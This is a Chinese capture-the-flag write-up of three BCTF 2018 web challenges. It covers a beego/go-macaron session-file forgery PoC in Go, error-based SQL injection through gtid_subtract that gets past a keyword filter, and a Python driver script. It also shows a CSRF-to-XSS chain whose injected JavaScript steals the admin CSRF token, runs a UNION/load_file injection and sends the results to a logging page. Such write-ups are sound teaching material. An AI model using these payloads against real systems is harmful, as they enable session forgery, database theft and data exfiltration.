BCTF2018web(part1)

checkin

go的sessionid没有过滤./的时候导致可以用任意文件作为session,可以在github上面看Nov11的commit https://github.com/astaxie/beego/pull/3383 go-macaron(https://github.com/go-macaron/session version<0.4.0) beego(https://github.com/astaxie/beego version<1.11.0)都存在这个洞 给出一个外国选手的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package main
import (
"github.com/astaxie/beego/session"
"log"
)
func main() {
s := make(map[interface{}]interface{})
s["username"] = "admin"
s["UID"] = 1
encoded_s, err:= session.EncodeGob(s)
if err != nil {
log.Fatal(err)
}
log.Printf("%v", encoded_s)
decoded_s, err := session.DecodeGob(encoded_s)
if err != nil {
log.Fatal(err)
}
log.Printf("%v", decoded_s)
}

跑一下poc

1
2
3
blacsheep@Macbook:/home/blacsheep/Tools/MyWebTools/gogs  $ go run hatena_poc.go 
2018/11/29 19:37:16 [14 255 129 4 1 2 255 130 0 1 16 1 16 0 0 61 255 130 0 2 6 115 116 114 105 110 103 12 10 0 8 117 115 101 114 110 97 109 101 6 115 116 114 105 110 103 12 7 0 5 97 100 109 105 110 6 115 116 114 105 110 103 12 5 0 3 85 73 68 3 105 110 116 4 2 0 2]
2018/11/29 19:37:16 map[username:admin UID:1]

丢到cyberchef的fromdecimal https://gchq.github.io/CyberChef/#recipe=From_Decimal('Space',false)&input=MTQgMjU1IDEyOSA0IDEgMiAyNTUgMTMwIDAgMSAxNiAxIDE2IDAgMCA2MSAyNTUgMTMwIDAgMiA2IDExNSAxMTYgMTE0IDEwNSAxMTAgMTAzIDEyIDEwIDAgOCAxMTcgMTE1IDEwMSAxMTQgMTEwIDk3IDEwOSAxMDEgNiAxMTUgMTE2IDExNCAxMDUgMTEwIDEwMyAxMiA3IDAgNSA5NyAxMDAgMTA5IDEwNSAxMTAgNiAxMTUgMTE2IDExNCAxMDUgMTEwIDEwMyAxMiA1IDAgMyA4NSA3MyA2OCAzIDEwNSAxMTAgMTE2IDQgMiAwIDI 存个poc.jpg,上传改session,登录到admin 然后adminpanel拿到flag

babySQLiSPA

/api/hints可以注入 难点是绕过 mysql版本5.7.24,大多数几何函数无法使用.polygon可以爆库名和表名,但是没用,得去找flag表 这里mysql5.7之后新增的报错函数有

1
2
3
4
5
6
7
8
9
10
ST_LatFromGeoHash()
select ST_LatFromGeoHash(version());
ST_LongFromGeoHash()
select ST_LongFromGeoHash(version());
GTID_SUBSET()
select GTID_SUBSET(version(),1);
GTID_SUBTRACT()
select GTID_SUBTRACT(version(),1);
ST_PointFromGeoHash()
select ST_PointFromGeoHash(version(),1);

需要过的waf

1
2
3
4
5
6
export function checkHint (hint) {
return ! / ;\+-\*\/
<>~!\d%\x09\x0a\x0b\x0c\x0d`gtid_subsethashjsonst\_updatexm
lextractvaluefloorrandexpjson_keysuuid_to_binbin_to_uuidunionlike
sleepbenchmark/ig.test(hint)
}

测试脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python
# coding=utf-8
import hashlib
import requests
import re

u=requests.session()
data= {'password': 'blacsheep11',
'username': 'blacsheep11'}
r=u.post('http://47.93.100.42:9999/api/login',data=data)
print(r.text)

def md5(src):
return hashlib.md5(str(src).encode()).hexdigest()

def calc(src):
for i in range(100000000000):
if md5(i)[:6]==str(src):
return i

while 1:
r=u.get('http://47.93.100.42:9999/api/captcha')
print(r.text)
prefix= re.findall(r'"captcha":"(.{6})"}',r.text)[0]
captcha = calc(prefix)
hint=input('hints:')
data={'captcha':captcha,'hint':hint}
r=u.post('http://47.93.100.42:9999/api/hints',data=data)
print(r.text)

使用gtid_subtract绕过

1
2
hints:'or(gtid_subtract((select(group_concat(table_name))from(information_schema.tables)where((table_schema=database()))),''))or'
{"error":"Malformed GTID set specification 'FdkuBNGoarFgVBwDjHcZBwwBFKNnkGDrIRubYZZtAGOifUogHPjXLyFhGxPfNWyE,Hints,MztsezsxCgHmgbYoeQGqKteosCHjfpXoGCFVjNPEpIKzFjCPYRmOMQAKgVCuoOZX,TLcLvkgTjVjFvBrUfhsqkZFMcRCVlqzEfTPxujYcwzQDtJRGzFRKqmxxapLckUBI'."}

发现表名一片混乱,和pgg聊天的时候他说nu1l那边一直卡在表名这个地方2333 后来他们限定表名长度来提取的

1
2
hints:'or(gtid_subtract((select(group_concat(table_name))from(information_schema.tables)where((length(table_name)=ord('j')^ord('t')))),''))or'
{"error":"Malformed GTID set specification 'vhEFfFlLlLaAAaaggIiIIsSSHeReEE'."}

表名长度30的时候找到flag表,payload有长度限制,所以爆列名的时候稍微改一下payload

1
2
3
4
hints:'gtid_subtract((select(group_concat(column_name))from(information_schema.columns)where(table_name='vhEFfFlLlLaAAaaggIiIIsSSHeReEE')),'')#
{"error":"Malformed GTID set specification 'ZSLRSrpOlCCysnaHUqCEIjhtWbxbMlDkUO'."}
hints:'gtid_subtract((select(ZSLRSrpOlCCysnaHUqCEIjhtWbxbMlDkUO)from(vhEFfFlLlLaAAaaggIiIIsSSHeReEE)),'')#
{"error":"Malformed GTID set specification 'BCTF{060950FB-839E-4B57-B91D-51E78F56856F}'."}

SeaFaring1

这题评论的链接会被机器人访问 注意到robots.txt

1
2
User-agent: *
Disallow: /admin/handle_message.php

curl一下/admin 发现部分源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
function view_uid(uid) {
$.ajax({
type: "POST",
url: "/admin/handle_message.php",
data: {"token": csrf_token, "action": "view_uid", "uid": uid},
dataType: "json",
success: function (data) {
if (!data["error"]) {
data = data['result'];
var Status = '';
$('#timestamp').text(data['timestamp']);
$('#username').text(data['user_name']);
$('#message').text(data['message']);
document.getElementById("replyuid").value=data['uid'];
if (parseInt(data['is_checked']) == 1) {
Status = '<div style="color:#04FF00">Checked</div>';
} else {
Status = '<div style="color:#FFA500">Not Checked</div>';
}
document.getElementById("status").innerHTML = Status;
}
else
alert('Error: ' + data["error"]);
}
});
}
function view_unreads() {
$.ajax({
type: "POST",
url: "/admin/handle_message.php",
data: {"token": csrf_token, "action": "view_unreads", "status": 0},
dataType: "json",
success: function (data) {
if (!data["error"]) {
data = data['result'];
var html = '';
var tbody = document.getElementById("comments");
for (var i = 0; i < data.length; i++) {
var Time = data[i][0];
var Username = data[i][1];
var Uid = data[i][2];
var Status = '';
if (parseInt(data[i][3]) == 1) {
Status = '<div style="color:#04FF00">Checked</div>';
} else {
Status = '<div style="color:#FFA500">Not Checked</div>';
}
html += "<tr> <td > <center> " + Time + " </center></td> <td> <center> " + Username + " </center></td> <td> <center> <a onclick = view_uid('" + Uid + "') > " + Uid + " </a></center> </td> <td> <center> " + Status + " </center></td> </tr>"
}
tbody.innerHTML = html;
}
else
alert('Error: ' + data["error"]);
}
});
}

function set_reply() {
var uid = document.getElementById("replyuid").value;
var reply = document.getElementById("replymessage").value;
$.ajax({
type: "POST",
url: "/admin/handle_message.php",
data: {"token": csrf_token, "action": "set_reply", "uid": uid, "reply": reply},
dataType: "json",
success: function (data) {
if (!data["error"]) {
data = data['result'];
alert('Succ: ' + data);
}
else
alert('Error: ' + data["error"]);
}
});
}
function load_all() {
$.ajax({
type: "POST",
url: "/admin/handle_message.php",
data: {"token": csrf_token, "action": "load_all"},
dataType: "json",
success: function (data) {
if (!data["error"]) {
data = data['result'];
var html = '';
var tbody = document.getElementById("comments");
for (var i = 0; i < data.length; i++) {
var Time = data[i][0];
var Username = data[i][1];
var Uid = data[i][2];
var Status = '';
if (parseInt(data[i][3]) == 1) {
Status = '<div style="color:#04FF00">Checked</div>';
} else {
Status = '<div style="color:#FFA500">Not Checked</div>';
}
html += "<tr> <td > <center> " + Time + " </center></td> <td> <center> " + Username + " </center></td> <td> <center> <a onclick = view_uid('" + Uid + "') > " + Uid + " </a></center> </td> <td> <center> " + Status + " </center></td> </tr>"
}
tbody.innerHTML = html;
}
else
alert('Error: ' + data["error"]);
}
});
}
setTimeout(load_all, 1000);

发现/admin/handle_message.php存在xss

1
2
blacsheep@Macbook:/home/blacsheep  $ curl -X POST -d "token=<img src=1 onerror=alert(/xss/)>&action=view_id&uid=1" 'http://seafaring.xctf.org.cn:9999/admin/handle_message.php'
{"result":"","error":"CSRFToken '<img src=1 onerror=alert(\/xss\/)>'is not correct"}

构造一个html页面让bot去访问

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<script>
window.onload =function(){
document.getElementById("f").submit();
}

</script>
<form method="post" action="http://seafaring.xctf.org.cn:9999/admin/handle_message.php" id="f">
<input type="hidden" name="token" value="<script src=http://t.cn/ELTmXGg></script><script src=http://localhost/bctf_evil_oqwej98czc.js></script>">
<input type="hidden" name="action" value="view_id">
<input type="hidden" name="uid" value="1">
</form>
</html>

外部引入的js文件(改自Nu1l的师傅)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function req(url,data){
var xhr = new XMLHttpRequest();
xhr.open("POST",url,false);
xhr.setRequestHeader("Content-Type","application/x-www-formurlencoded");
xhr.send(data);
var resp = xhr.responseText;
return resp;
}

function get_csrf_token(){
var xhr = new XMLHttpRequest();
xhr.open("GET","http://seafaring.xctf.org.cn:9999/admin/index.php",false);
xhr.send();
var res = xhr.responseText;
var csrftoken = res.match(/csrf_token = \"([a-z0-9]*)\"/ig)[0].split('="')[1].replace('"','');
return csrftoken;
}

function send(data){
location.href = "http://localhost/log.php?data="+escape(data);
}

var ress=req("http://172.20.0.2:6379/","token="+get_csrf_token()+"&action=view_unreads&status=3%20%20and%201%3D2%20union%20select%201%2Cload_file%280x2f70726f632f6e65742f617270%29%2C3%2C4%20from%20f111111ag%23");
send(ress);

然后就可以在vps上面收结果了 不过复现的时候发现并没有收到结果 看了下日志发现bot只是访问了csrf页面而并没有载入js文件...不太清楚原因 访问成功之后就发现是个后台的sql注入

1
2
3
{"result":"","error":"sql query error! debug info:SELECT
timestamp,user_name,uid,is_checked,message FROM feedbacks where uid='1\\'or
1#' ORDER BY id DESC "}

用了addslashes,但是有一个接口是整形注入

1
2
3
{"result":"","error":"sql query error! debug info:SELECT
timestamp,user_name,uid,is_checked FROM feedbacks where is_checked=1\\'
ORDER BY id DESC limit 0,50"}

直接跑就拿到flag

1
{"result":[["1","bctf{XsS_SQL1_7438x_2xfccmk}","3","4"]],"error":""}

自己做的时候发现的xss是登录界面的xss...没发现后台的token可以xss...登录处的触发需要撞验证码...所以post了几百个包..后来发现bot访问地超级慢第二天就被查水表2333... 不过思路没啥问题,csrf控制bot去触发xss载入js文件,当时想法是如果打到xss看下后台页面存不存在其他有用的东西,不过xss找错了,很可惜...不过反正也不会csrf...收了Nu1l师傅的csrfpayload了ORZ